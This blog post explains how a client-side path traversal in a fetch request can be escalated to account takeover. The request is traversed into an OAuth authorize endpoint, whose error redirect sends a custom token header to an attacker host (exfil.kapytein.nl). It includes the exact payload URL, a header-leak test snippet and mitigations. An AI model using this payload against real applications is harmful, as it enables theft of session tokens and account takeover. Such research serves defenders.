From an Innocent Client-Side Path Traversal to Account Takeover

A path traversal vulnerability is usually well known as an issue which can either allow you to read or write files on a server, but what if there's a path traversal in a fetch request by the browser? We've seen several examples, like Medi's research, which entered the top 10 web hacking techniques of 2022.

In this blog post, I will describe a technique I often used when attempting to escalate a client-side path traversal to an account takeover, and discuss how this specific exploitation scenario may be partially mitigated now.

Path Traversal in Fetch Context

With the popularity of single page applications over the last decade, fetch (or previously XMLHttpRequest) is a well used technique in JavaScript that has become an important way to retrieve data dynamically. It's obvious that there are many benefits: faster initial loading times, more intuitive UX and probably much more.

Several applications load the required data using fetch based on the current URL. For example, when you request https://frontend.example.com/services/123, the required files to render the user interface would load firstly. Afterwards, it will likely create a fetch request to the back-end to fetch the “services” object with identifier 123.

That specific fetch request is very likely sent to a different path than the one we are visiting, since API routing is often different than front-end routing (for various reasons). Developers usually have to include the identifier of the front-end URL in the request path of the fetch request, like the following:

...
fetch(`https://api.example.com/api/v1/services/${queryParams.serviceId}`, 
{ headers: { "X-Token": `${user.token}`}})
...

From this example, it's obvious that we can traverse the path of the request and call other endpoints that way. However, it's probably less obvious that we could exfiltrate the X-Token header to our own host in this case.

Redirecting Away

If we use an open redirect on api.example.com to redirect the request to kapytein.nl, fetch will include the X-Token header with its value for the request to the new origin, when the redirect option property is not set to error.

This is not the case by default, which means that the request (in this case) would be redirected to kapytein.nl along with the X-Token header.

Finding an open redirect may be a challenge though, as it's usually reported on its own on bug bounty programs and pentesting engagements. But, we may be able to leverage some common implementations, to find the “non-accidental” open-redirects.

Open Authorization Redirect

Nowadays, almost every application offers a way for their customers to integrate with other (external) applications, which may be based on the well known Open Authorization (OAuth) protocol.

In case of the Open Authorization protocol, the application may allow the customer/user to create their own OAuth client, which they can then use for e.g. integrations. When creating a client, we should be able to provide our own redirect URI as well. We can then use error responses from the OAuth protocol to help us redirect to a different host, without requiring the user to authorize our application:

If the resource owner denies the access request or if the request fails for reasons other than a missing or invalid redirection URI, the authorization server informs the client by adding the following parameters to the query component of the redirection URI using the “application/x-www-form-urlencoded” format, per Appendix B:

RFC 6749, section 4.1.2.1

This means that if we generate an error response, the authorization server should redirect us to the provided redirect URI (if it is valid) with an error response (which should be something like: https://exfil.kapytein.nl/callback?error=unsupported_response_type&state=xyz).

Generating an error response should be easy and shouldn't require the end user to authorize the application as mentioned. For instance, if the OAuth client does not support token as a response_type, we can try to use it in order to trigger an unsupported_response_type error. Or a completely invalid value, like tokenzzz, for an invalid_response_type error.

In reality, the implementation differs as some may not redirect the error response to the registered redirect URI. But let's imagine that it does redirect to our registered redirect URI, and that the OAuth flow is on the same host as the fetch request (api.example.com). In that case, we would be able to create an OAuth client with our preferred redirect URI, and leverage error responses as a redirect for the path traversal. All that remains for us is to reach the OAuth flow path and set the right CORS headers on exfil.kapytein.nl.

If the following fetch request was created from https://frontend.example.com, the payload would look like:

https://frontend.example.com/services?service_id=asdasd/../../authorize?client_id=123%26response_type=tokenz%26redirect_uri=https://exfil.kapytein.nl/callback
...
// With payload above, URL of the fetch would be: https://api.example.com/api/v1/services/asdasd/../../authorize?client_id=123&response_type=tokenz&redirect_uri=https://exfil.kapytein.nl/callback
fetch(`https://api.example.com/api/v1/services/${queryParams.serviceId}`, 
{ headers: { "X-Token": `${user.token}`}}) 
...

If the redirect succeeds, we leak the contents of the X-Token header to our own host. That would finish our escalation from an innocent path traversal to an account takeover.

Mitigation

Other than applying a strict connect-src directive in your Content Security Policy, communicating your tokens to your API via the Authorization header will now help you to mitigate this exploitation scenario.

Previously, values from the Authorization header (when set by the developer in a fetch request), were not removed when the request was redirected to a different origin. However, in November 2022, a change was implemented in the Fetch Standard, indicating that browsers should drop the Authorization header when there's a redirect to a different origin. The request would still succeed (as expected), but without the Authorization header being passed on. All browsers have implemented the change.

Obviously, outside of the exploitation scenario I described in this blog post, a client-side path traversal could still be exploited differently (f.e. to achieve XSS, CSRF). Client-side path traversal in fetch requests remains an interesting issue, as exploitation of the issue highly depends on the context and application (and unlike XSS, is less straightforward to exploit).


P.S: Run the following JS code in your developer's console to test how headers are leaked cross-origin (and how the Authorization header is stripped away). The request will be redirected to https://httpbin.org/get, which will return the received headers in a JSON response.

fetch("https://pitifulprofitablesquares.kapytein.repl.co/", { 
    headers: { "Authorization": "eythisvaluewillberemoved", "X-Token": "thisvaluewillnotberemoved" }
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));